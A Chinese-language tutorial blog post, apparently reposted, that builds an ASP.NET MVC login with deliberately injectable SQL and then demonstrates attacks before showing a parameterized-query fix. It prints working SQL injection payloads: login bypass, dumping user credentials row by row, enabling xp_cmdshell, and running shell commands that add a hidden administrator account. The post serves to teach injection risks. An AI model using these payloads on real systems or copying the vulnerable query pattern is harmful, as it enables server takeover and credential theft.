淺談SQL注入風險 - 一個Login拿下Server


 

前兩天,帶着學生們學習了簡單的ASP.NET MVC,通過ADO.NET方式連接數據庫,實現增刪改查。

 

可能有一部分學生提前預習過,在我寫登錄SQL的時候,他們鄙視我說:“老師你這SQL有注入,隨便都能登錄了。不能這么寫!”

 

“呦?小伙子這都知道了?那你說說看 啥是注入?注入只能拿來繞過登錄么?”

好吧,竟然在老子面前裝逼,看來不給你點兒顏色看看,你還真是不明白天有多高。。

 

於是乎。。哈哈。大清早的,輕松在班里裝了一手好逼。。

 

呵呵。不說了,下面我把那個項目重寫一下發上來吧。演示一下注入有哪些危害。怎么避免等。

 

(*^_^*) 大牛勿噴。

 

 


 ▁▃▅ 淺談SQL注入風險 - 一個Login拿下Server ▅▃▁


 

目錄:

  1. 數據庫
  2. Web項目
  3. 演示注入
  4. 避免
  5. 完了

 

 

  本文主要就是介紹SQL注入基本手法,危害,以及如何解決。

  技術有點渣渣,大牛勿噴。。。。

 

一、數據庫。

只創建了一個Admin表,結構如下:

1 create table Admin
2 (
3   Id int primary key identity(1,1) not null,
4   Username nvarchar(50) not null,
5   Password nvarchar(50) not null
6 )
7 go

插入三條測試數據如下:

 

 

 

 

 

二、Web項目

這里為了演示,所以我只搭建了一個簡單的三層結構(ASP.NET MVC作為UI,DAL,BLL)以及模型Model:

 

1. Model模型層的AdminInfo.cs:

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Text;
 5 
 6 namespace Guying.BlogsDemo.Model
 7 {
 8     /// <summary>
 9     /// Admin 模型
10     /// </summary>
11     public class AdminInfo
12     {
13         /// <summary>
14         /// 編號
15         /// </summary>
16         public int Id { get; set; } 
17 
18         /// <summary>
19         /// 賬號
20         /// </summary>
21         public string Username { get; set; }
22 
23         /// <summary>
24         /// 密碼
25         /// </summary>
26         public string Password { get; set; }
27     }
28 }
AdminInfo.cs

 

2. Web.config添加連接字符串:

1     <connectionStrings>
2       <add name="BlogDemo" connectionString="server=.;database=BlogDemo;uid=sa;pwd=LonelyShadow" providerName="System.Data.SqlClient"/>
3     </connectionStrings>

 

3. DAL數據層的DBHelper.cs輔助類:

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Configuration;
 4 using System.Linq;
 5 using System.Text;
 6 
 7 namespace Guying.BlogsDemo.DAL
 8 {
 9     /// <summary>
10     /// 數據訪問輔助類
11     /// </summary>
12     public class DBHelper
13     {
14         /// <summary>
15         /// BlogDemo 數據庫鏈接字符串
16         /// </summary>
17         public static readonly string CONNECTIONSTRING = ConfigurationManager.ConnectionStrings["BlogDemo"].ConnectionString;
18     }
19 }
DBHelper.cs

 

4. DAL數據層的AdminService.cs中寫了一個登錄的Login方法(SQL存在注入):

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Text;
 5 using System.Data.SqlClient;
 6 using Guying.BlogsDemo.Model;
 7 
 8 namespace Guying.BlogsDemo.DAL
 9 {
10     /// <summary>
11     /// Admin 數據提供
12     /// </summary>
13     public class AdminService
14     {
15         /// <summary>
16         /// Admin 登錄
17         /// </summary>
18         /// <param name="adminInfo">登錄目標對象</param>
19         /// <returns>返回結果對象,null為登錄失敗</returns>
20         public AdminInfo Login(AdminInfo adminInfo)
21         {
22             AdminInfo result = null;
23             string sql = string.Format(" select Id,Username,Password from Admin where Username='{0}' and Password='{1}' ", adminInfo.Username, adminInfo.Password);
24             using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING))
25             {
26                 conn.Open();
27                 using (SqlCommand comm = new SqlCommand(sql, conn))
28                 {
29                     using (SqlDataReader reader = comm.ExecuteReader())
30                     {
31                         if (reader.Read())
32                         {
33                             result = new AdminInfo()
34                             {
35                                 Id = (int)reader["Id"],
36                                 Username = reader["Username"].ToString(),
37                                 Password = reader["Password"].ToString()
38                             };
39                         }
40                     }
41                 }
42             }
43             return result;
44         }
45     }
46 }
AdminService.cs(SQL存在注入)

 

5. BLL業務邏輯的AdminManager.cs:

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Text;
 5 using Guying.BlogsDemo.DAL;
 6 using Guying.BlogsDemo.Model;
 7 
 8 namespace Guying.BlogsDemo.BLL
 9 {
10     public class AdminManager
11     {
12         private AdminService _AdminService = null;
13 
14         public AdminManager()
15         {
16             if (_AdminService==null)
17             {
18                 _AdminService = new AdminService();
19             }
20         }
21 
22         /// <summary>
23         /// Admin 登錄
24         /// </summary>
25         /// <param name="adminInfo">登錄目標對象</param>
26         /// <returns>返回結果對象,null為登錄失敗</returns>
27         public AdminInfo Login(AdminInfo adminInfo)
28         {
29             return _AdminService.Login(adminInfo);
30         }
31     }
32 }
AdminManager.cs

 

6. WebUI層的HomeController:

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Web;
 5 using System.Web.Mvc;
 6 using Guying.BlogsDemo.Model;
 7 using Guying.BlogsDemo.BLL;
 8 using System.Text;
 9 
10 namespace Guying.BlogsDemo.WebUI.Controllers
11 {
12     public class HomeController : Controller
13     {
14         [HttpGet]
15         public ActionResult Login()
16         {
17             return View();
18         }
19 
20         [HttpPost]
21         public ActionResult Login(AdminInfo adminInfo)
22         {
23             AdminManager _AdminManager = new AdminManager();
24             adminInfo = _AdminManager.Login(adminInfo);
25             JsonResult json = new JsonResult() { Data = adminInfo, ContentEncoding = Encoding.UTF8 };
26             return json;
27         }
28 
29     }
30 }
WebUI的HomeController.cs

 

7. WebUI的Views/Home/Login:

 1 @model Guying.BlogsDemo.Model.AdminInfo
 2 
 3 @{
 4     ViewBag.Title = "Login";
 5 }
 6 
 7 <link href="~/CSS/home.login.css" rel="stylesheet" />
 8 
 9 <div class="box-max">
10     <h2>Login</h2>
11     <hr />
12 
13     @using (Html.BeginForm())
14     {
15         @Html.AntiForgeryToken()
16         @Html.ValidationSummary(true)
17 
18         <table>
19             <tr>
20                 <th>賬號:</th>
21                 <td>
22                     @Html.EditorFor(model => model.Username)
23                     @Html.ValidationMessageFor(model => model.Username)
24                 </td>
25             </tr>
26             <tr>
27                 <th>
28                     密碼:
29                 </th>
30                 <td>
31                     @Html.EditorFor(model => model.Password)
32                     @Html.ValidationMessageFor(model => model.Password)
33                 </td>
34             </tr>
35             <tr>
36                 <td colspan="2" align="center">
37                     <input type="submit" value="登 錄" />
38                 </td>
39             </tr>
40         </table>
41     }
42 </div>
Views/Home/Login.cshtml

 

8. WebUIHome/Login的css:

1 *{transition:all 0.3s;}
2 body{margin:0px; padding:0px; background-color:#F8F8F8;}
3 .box-max{ width:500px; margin:100px auto; border:1px solid #CCC; padding:10px; border-radius:10px; background-color:#FFFFFF;}
4 .box-max table{width:100%;}
5 .box-max table tr{line-height:40px;}
6 .box-max table th{text-align:right;}
7 .box-max table td input{width:100%;}
8 .box-max table tr:last-child input{width:auto; padding:5px 10px; background-color:#FFF; border:1px solid black; border-radius:5px; cursor:pointer;}
9 .box-max table tr:last-child input:hover{background-color:#EFEFEF; text-decoration:underline;}
home.login.css

 

9. 運行結果:

 

 

 

 

 

三、注入

1. 廢話不多說、直接測試注入。

  賬號: ' or 1=1 -- ,密碼(隨意): fuck ,結果如下:

 

  你還在認為注入只是為了繞過登錄進入網站么?

  那你就錯了。

 

 

  竟然返回的是一個包含整個用戶信息的Json?!

 

  這也是一個程序設計的嚴重不當!

  不知道大家前陣子還記得某酒店、某招聘網站,就是因為移動App,被人抓包,截取到了一個request,提交id,則會返回其所有基本信息。

  最后導致千萬級數據泄露。

 

  也就是類似於下面這樣操作:

 

2. 獲取所有用戶信息:

  這里需要主鍵字段,我就不注入檢測了,假設我們已經測出了主鍵為ID。

  那么我們可以登錄這樣寫(密碼隨意):

  賬號: ' or (1=1 and Id=1) -- ,返回結果: {"Id":1,"Username":"admin","Password":"admin1234"} ;

  賬號: ' or (1=1 and Id=2) -- ,返回結果: {"Id":2,"Username":"zhangsan","Password":"666666"} ;

  賬號: ' or (1=1 and Id=3) -- ,返回結果: {"Id":3,"Username":"lisi","Password":"888888"} 

 

  如果我們寫一個程序,循環發送這個請求,將獲得的數據保存,那么你的用戶數據褲子是不是也要被脫得干干凈凈了?

 

3. 下一步,經典的開啟xp_cmdshell(看不懂的自行Google):

  賬號: ' or 1=1; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; -- 

  后面操作的結果就不用看了,也是返回前面登錄用戶的Json,但是已經成功執行后面的代碼了。

 

  然后,xp_cmdshell已經獲取了,你還想干什么不行?

 

  這里我只做一個概念性的測試,演示一下其危害。

  根據項目的不同,注入可能還會導致更嚴重的后果。

 

  當然,你也可以創建文件,添加任務等,例如這樣:

    添加隱藏賬號,並提升管理員組:

    賬號填寫: ' or 1=1; exec xp_cmdshell 'echo net user $fuck 123456 /add > D:\a.bat & echo net localgroup administrators $fuck /add >> D:\a.bat & echo exit >> D:\a.bat' -- 

    

    修改權限/修改所有者:

    賬號填寫: ' or 1=1; exec xp_cmdshell 'icacls D:\a.bat /setowner everyone & icacls D:\a.bat /grant everyone:F' -- 

 

    執行:

    賬號填寫: ' or 1=1; exec xp_cmdshell 'D: & D:\a.bat' -- 

  

  結果:

  

 

  好吧,上面DOS你懂得。

 

  當然,你還可以通過DOS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx。。。

 

 

 

 

 

四、如何避免

這個應該很簡單吧,其實就是我們日常編碼習慣的問題。

 

登錄SQL可以改成通過SqlParameter傳參的方式,返回結果可以設置返回bool來標識成功/失敗,修改后的方法如下:

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Text;
 5 using System.Data.SqlClient;
 6 using Guying.BlogsDemo.Model;
 7 
 8 namespace Guying.BlogsDemo.DAL
 9 {
10     /// <summary>
11     /// Admin 數據提供
12     /// </summary>
13     public class AdminService
14     {
15         /// <summary>
16         /// Admin 登錄
17         /// </summary>
18         /// <param name="adminInfo">登錄目標對象</param>
19         /// <returns>返回操作結果,true成功 / false失敗</returns>
20         public bool Login(AdminInfo adminInfo)
21         {
22             int count = 0;
23             string sql = " select count(1) from Admin where Username=@Username and Password=@Password ";
24             using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING))
25             {
26                 conn.Open();
27                 using (SqlCommand comm = new SqlCommand(sql, conn))
28                 {
29                     comm.Parameters.AddRange(new[] { new SqlParameter("@Username", adminInfo.Username), new SqlParameter("@Password", adminInfo.Password) });
30                     count = (int)comm.ExecuteScalar();
31                 }
32             }
33             return count > 0;
34         }
35     }
36 }
修改后的登錄方法

 

  平時寫代碼,多注意下這些問題。

 

  當然,數據庫的存儲過程也不是沒卵用的咸魚,記得多用。

 

 

 

 

 

五、 沒了

就是演示一下危害,什么年代了都,不應該出現注入的問題了吧。

 

畢竟每個項目不一樣,指不定注入還會導致什么問題呢。

 

最后。。。。。。。。。。。大牛勿噴。么么噠~

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM